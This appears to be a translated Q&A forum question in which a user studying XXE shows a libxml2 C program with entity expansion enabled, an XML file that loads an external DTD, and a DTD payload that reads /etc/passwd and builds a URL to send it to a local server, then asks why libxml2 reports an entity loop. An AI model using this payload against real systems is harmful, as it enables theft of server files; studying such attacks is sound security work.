是否可以使用 XXE 和 libxml2 泄露数据?

问题描述 投票:0回答:0

我正在研究XXE和数据泄露,我想通过实际测试来了解它是如何工作的,但由于某些原因,我无法做到。

我正在使用小型 C 程序读取 XML 文件和要从 XML 下载的外部 DTD。

这是C程序:

#include <stdio.h>
#include <libxml/parser.h>

void handleXmlElement(xmlNodePtr node)
{
    xmlChar *content = xmlNodeGetContent(node);
    printf("%s\n", content);
    xmlFree(content);
}

void handleXmlDoc(xmlDocPtr doc)
{
    xmlNodePtr root = xmlDocGetRootElement(doc);
    xmlNodePtr child;
    for (child = root->children; child != NULL; child = child->next)
    {
        if (child->type == XML_ELEMENT_NODE)
        {
            handleXmlElement(child);
        }
    }
}

int main()
{
    // Load the XML document from a file
    const char *filename = "xml/test1.xml";
    int options = XML_PARSE_NOENT | XML_PARSE_COMPACT;
    xmlDocPtr doc = xmlReadFile(filename, NULL, options);
    if (doc == NULL)
    {
        fprintf(stderr, "Failed to parse %s\n", filename);
        return 1;
    }

    // Process the XML document
    handleXmlDoc(doc);

    // Free the XML document
    xmlFreeDoc(doc);

    // Cleanup libxml2
    xmlCleanupParser();
    return 0;
}

这些是 XML 和 DTD 文件:

test1.xml:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
        <!ELEMENT example ANY >
        <!ENTITY % xxe SYSTEM "http://127.0.0.1:8000/test1.dtd" >
        %xxe;]>
<example>
    <data>Some data</data>
</example>

test1.dtd:

<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY &#x25; exfiltrate SYSTEM 'http://127.0.0.1:8000/?data=%payload;'>">
%wrapper;

问题是当我运行代码时,我只得到以下错误:

http://127.0.0.1:8000/test1.dtd:2: parser error : Detected an entity reference loop
per "<!ENTITY &#x25; exfiltrate SYSTEM 'http://127.0.0.1:8000/?data=%payload;'>"
                                                                               ^
http://127.0.0.1:8000/test1.dtd:3: parser warning : PEReference: %wrapper; not found
%wrapper;
         ^
Failed to parse xml/test1.xml

Process finished with exit code 1

我不知道问题出在哪里,因为 XML 和 DTD 文件都是“标准”的,并且在我遵循的指南中它们是这样定义的。

如果你能帮助我,我将不胜感激,因为我已经考虑了几天,但我找不到解决循环错误的方法。

谢谢!

c xml libxml2 dtd xxe
© www.soinside.com 2019 - 2024. All rights reserved.